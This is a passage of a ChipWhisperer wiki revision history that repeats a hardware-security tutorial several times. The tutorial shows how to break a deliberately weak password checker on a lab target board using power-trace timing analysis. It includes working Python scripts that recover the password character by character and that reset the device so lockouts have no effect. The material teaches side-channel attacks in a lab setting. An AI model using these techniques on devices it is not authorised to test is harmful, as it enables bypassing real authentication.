<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p><br />
<br />
Add a loop to your script that does the following:<br />
* Sets the ''Go Command'' to the next character we want to try<br />
* Captures a power trace<br />
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)<br />
* Repeats for all characters we want to try<br />
An example of this loop is:<br />
<br />
<syntaxhighlight lang=python><br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace and check data[153]<br />
nextTrace = scope.getLastTrace()<br />
if data[153] > -0.2:<br />
print "Success: " + c <br />
</syntaxhighlight><br />
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!<br />
<br />
=== Attacking the Full Password ===<br />
The last step is to attack the entire password, one letter at a time. The procedure to do this is:<br />
* Start with a blank password string<br />
* Loop through all of the characters we want to try:<br />
** Add the next character to the end of the password<br />
** Test this new candidate password using code similar to the above<br />
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password<br />
* Repeat until we've cracked all 5 characters.<br />
<br />
Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.<br />
<br />
An example of this loop is:<br />
<syntaxhighlight lang=python><br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.<br />
<br />
That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:<br />
<br />
* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.<br />
* The current script doesn't look for the &quot;WELCOME&quot; message when the password is OK. That is an extension that allows it to crack any size password.<br />
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.<br />
<br />
== Conclusion ==<br />
<br />
This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.<br />
<br />
== Appendix: Completed Timing Attack Script ==<br />
The complete tutorial might look like this:<br />
<syntaxhighlight lang=python><br />
"""This script is an example of a timing attack on a simple password checker. <br />
It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.<br />
"""<br />
<br />
import chipwhisperer as cw<br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Set up scope<br />
scope.gain.gain = 45<br />
scope.adc.samples = 2000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
<br />
# Set up target<br />
target.key_cmd = ""<br />
target.go_cmd = "h0px3\n"<br />
target.output_cmd = ""<br />
<br />
# Set up aux module to reset target before capture<br />
resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(resetter.resetThenDelay, "before_trace")<br />
<br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
<br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B3-1_Timing_Analysis_with_Power_for_Password_Bypass&diff=3530Tutorial B3-1 Timing Analysis with Power for Password Bypass2018-05-09T12:06:41Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B3-1 Timing Analysis with Power for Password Bypass<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.<br />
<br />
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.<br />
<br />
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.<br />
<br />
If you want to get a rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:<br />
<br />
== Prerequisites ==<br />
<br />
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.<br />
<br />
== Building the Target Firmware ==<br />
<br />
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM=</code> command. You should end up with something like this being printed:<br />
<br />
<pre>Creating Symbol Table: basic-passwdcheck.sym<br />
avr-nm -n basic-passwdcheck.elf &gt; basic-passwdcheck.sym<br />
<br />
Size after:<br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 5400 bytes (3.9% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 524 bytes (6.4% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------</pre><br />
<br />
== Manual Communications with the Target ==<br />
<br />
At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li><br />
<li>Start ChipWhisperer-Capture</li><br />
<li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><br />
<li>Check there are no errors on the connection.</li><br />
<li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><br />
<li>Both the Target &amp; Scope should switch to ''CON'' and be green circles.</li><br />
<li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><br />
<li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p><br />
<blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><br />
<li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><br />
<blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><br />
<dl><br />
<dt>Note a few warnings about the terminal emulator:</dt><br />
<dd><ul><br />
<li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><br />
<li>You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul><br />
</dd></dl><br />
</li><br />
<li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><br />
<blockquote><p>'''tip'''</p><br />
<p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><br />
<li><p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><br />
<p>[[File:Passok.png|image]]</p></li><br />
<li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><br />
<li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol><br />
<br />
== Recording Power Traces ==<br />
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target. <br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p><br />
<blockquote><ul><br />
<li>Offset = 0</li><br />
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul><br />
<br />
<p>[[File:Timeout_offset.png|image]]</p></blockquote></li><br />
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p><br />
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li><br />
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''<br />
<li><p>Perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li><br />
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code>&lt;enter&gt;</code> to send the password.</li></ol><br />
</blockquote><br />
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p><br />
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li><br />
<br />
<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p><br />
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote><br />
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li><br />
<li><p>Now perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Press the ''Capture 1'' button.</li></ol><br />
</blockquote><br />
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li><br />
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p><br />
<ul><br />
<li><code>h0px3\n</code></li><br />
<li><code>h0px4\n</code></li><br />
<li><code>h0paa\n</code></li><br />
<li><code>haaaa\n</code></li><br />
<li><code>a\n</code></li></ul><br />
<br />
<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p><br />
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol><br />
<br />
== Automatic Resets ==<br />
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.<br />
<br />
BOTH of these methods use the "Auxilary Modules". See the page [[Auxiliary modules]] for more details.<br />
<br />
Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.<br />
<br />
=== Reset via Spare IO Lines ===<br />
<br />
TODO - see reset via programming interface for now<br />
<br />
=== Reset via Auxiliary Module ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script has a simple function of attempting to reset the XMEGA device using the programmer:<br />
<br><br />
[[File:auxreset_test1.png|600px]]<br />
</li><br />
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br />
<br><br />
[[File:auxreset_test2.png|400px]]<br />
</li><br />
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1000<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='nrst', delay_ms=delay_ms)<br />
<br />
# Reset before arming - more stable<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
# Reset after arming - scope can catch entire reset<br />
#aux_list.register(Resetter.delayThenReset, "after_arm")<br />
</syntaxhighlight><br />
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li><br />
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.<br />
</li><br />
</ol><br />
<br />
Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.<br />
<br />
Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.<br />
<br />
== Performing the Timing Attack ==<br />
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.<br />
<br />
=== Scripting the Setup ===<br />
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else<br />
</li><br />
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p><br />
<pre><br />
scope.gain.gain = 45<br />
scope.adc.samples = 25000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
</pre><br />
<br />
<p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:</p><pre><br />
>>> self.scope<br />
cwlite Device<br />
gain = <br />
mode = low<br />
gain = 45<br />
db = 22.50390625<br />
adc = <br />
state = False<br />
basic_mode = rising_edge<br />
timeout = 2<br />
offset = 0<br />
presamples = 0<br />
samples = 25000<br />
decimate = 1<br />
trig_count = 3084728877<br />
clock = <br />
adc_src = clkgen_x4<br />
adc_phase = 0<br />
adc_freq = 29538459<br />
adc_rate = 29538459<br />
adc_locked = True<br />
freq_ctr = 0<br />
freq_ctr_src = extclk<br />
clkgen_src = system<br />
extclk_freq = 10000000<br />
clkgen_mul = 2<br />
clkgen_div = 26<br />
clkgen_freq = 7384615<br />
clkgen_locked = True<br />
trigger = <br />
triggers = tio4<br />
module = basic<br />
io = <br />
tio1 = serial_rx<br />
tio2 = serial_tx<br />
tio3 = high_z<br />
tio4 = high_z<br />
pdid = high_z<br />
pdic = high_z<br />
nrst = high_z<br />
glitch_hp = 0<br />
glitch_lp = 0<br />
extclk_src = hs1<br />
hs2 = clkgen<br />
target_pwr = True<br />
glitch = <br />
clk_src = target<br />
width = 10.15625<br />
width_fine = 0<br />
offset = 10.15625<br />
offset_fine = 0<br />
trigger_src = manual<br />
arm_timing = after_scope<br />
ext_offset = 0<br />
repeat = 1<br />
output = clock_xor<br />
</pre></li><br />
</ol><br />
<br />
<br />
<ol start="4" style="list-style-type: decimal;"><br />
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p><br />
<p><br />
Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):<br />
<syntaxhighlight lang=python><br />
>>> target<br />
init_cmd = <br />
key_cmd = k$KEY$\n<br />
input_cmd = <br />
go_cmd = p$TEXT$\n<br />
output_cmd = r$RESPONSE$\n<br />
baud = 38400<br />
protver = <br />
</syntaxhighlight><br />
</p><br />
</li><br />
<br />
<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:<br />
<syntaxhighlight lang=python><br />
target.key_cmd = ''<br />
target.go_cmd = ''<br />
target.output_cmd = ''<br />
</syntaxhighlight><br />
</li><br />
<br />
<li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
Resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
</syntaxhighlight><br />
</li><br />
<br />
<li><p>We will need to set the password guess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li><br />
<li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li><br />
</ol><br />
<br />
=== Running a Single Capture ===<br />
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.<br />
<br />
The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here. First, we'll need to import ChipWhisperer:<br />
<br />
* <code>import chipwhisperer as cw</code><br />
<br />
Then, we can build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the following steps:<br />
<br />
<syntaxhighlight lang=python><br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
</syntaxhighlight><br />
<br />
We want to test these two commands. After the setup portion of your script, add some code similar to the following:<br />
<syntaxhighlight lang=python><br />
#Put this at beginning of script<br />
import chipwhisperer as cw<br />
<br />
#Put this later on after setup happens<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
</syntaxhighlight><br />
<br />
Run your script. The ChipWhisperer should automatically capture one trace and print out some datapoints.<br />
<br />
=== Attacking a Single Letter ===<br />
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.<br />
<br />
<p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p><br />
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote><br />
<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p><br />
<br />
Add a loop to your script that does the following:<br />
* Sets the ''Go Command'' to the next character we want to try<br />
* Captures a power trace<br />
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)<br />
* Repeats for all characters we want to try<br />
An example of this loop is:<br />
<br />
<syntaxhighlight lang=python><br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace and check data[153]<br />
nextTrace = scope.getLastTrace()<br />
if data[153] > -0.2:<br />
print "Success: " + c <br />
</syntaxhighlight><br />
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!<br />
<br />
=== Attacking the Full Password ===<br />
The last step is to attack the entire password, one letter at a time. The procedure to do this is:<br />
* Start with a blank password string<br />
* Loop through all of the characters we want to try:<br />
** Add the next character to the end of the password<br />
** Test this new candidate password using code similar to the above<br />
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password<br />
* Repeat until we've cracked all 5 characters.<br />
<br />
Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.<br />
<br />
An example of this loop is:<br />
<syntaxhighlight lang=python><br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.<br />
<br />
That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:<br />
<br />
* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.<br />
* The current script doesn't look for the &quot;WELCOME&quot; message when the password is OK. That is an extension that allows it to crack any size password.<br />
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.<br />
<br />
== Conclusion ==<br />
<br />
This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.<br />
<br />
== Appendix: Completed Timing Attack Script ==<br />
The complete tutorial might look like this:<br />
<syntaxhighlight lang=python><br />
"""This script is an example of a timing attack on a simple password checker. <br />
It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.<br />
"""<br />
<br />
import chipwhisperer as cw<br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Set up scope<br />
scope.gain.gain = 45<br />
scope.adc.samples = 2000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
<br />
# Set up target<br />
target.key_cmd = ""<br />
target.go_cmd = "h0px3\n"<br />
target.output_cmd = ""<br />
<br />
# Set up aux module to reset target before capture<br />
resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(resetter.resetThenDelay, "before_trace")<br />
<br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
<br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B3-1_Timing_Analysis_with_Power_for_Password_Bypass&diff=3529Tutorial B3-1 Timing Analysis with Power for Password Bypass2018-05-09T12:06:14Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = B3-1 Timing Analysis with Power for Password Bypass<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.<br />
<br />
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.<br />
<br />
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.<br />
<br />
If you want to get a rough idea, there is a video of the V3 of the tutorial (which differs from the V4 version). See [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:<br />
<br />
== Prerequisites ==<br />
<br />
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.<br />
<br />
== Building the Target Firmware ==<br />
<br />
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM=</code> command. You should end up with something like this being printed:<br />
<br />
<pre>Creating Symbol Table: basic-passwdcheck.sym<br />
avr-nm -n basic-passwdcheck.elf &gt; basic-passwdcheck.sym<br />
<br />
Size after:<br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 5400 bytes (3.9% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 524 bytes (6.4% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------</pre><br />
<br />
== Manual Communications with the Target ==<br />
<br />
At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li><br />
<li>Start ChipWhisperer-Capture</li><br />
<li>Under the ''Python Console'' tab, find the ''connect_cwlite_simpleserial.py'' script and double-click.</li><br />
<li>Check there are no errors on the connection.</li><br />
<li>Under the ''Python Console'' tab, find the ''setup_cwlite_xmega.py'' script and double-click.</li><br />
<li>Both the Target &amp; Scope should switch to ''CON'' and be green circles.</li><br />
<li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li><br />
<li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p><br />
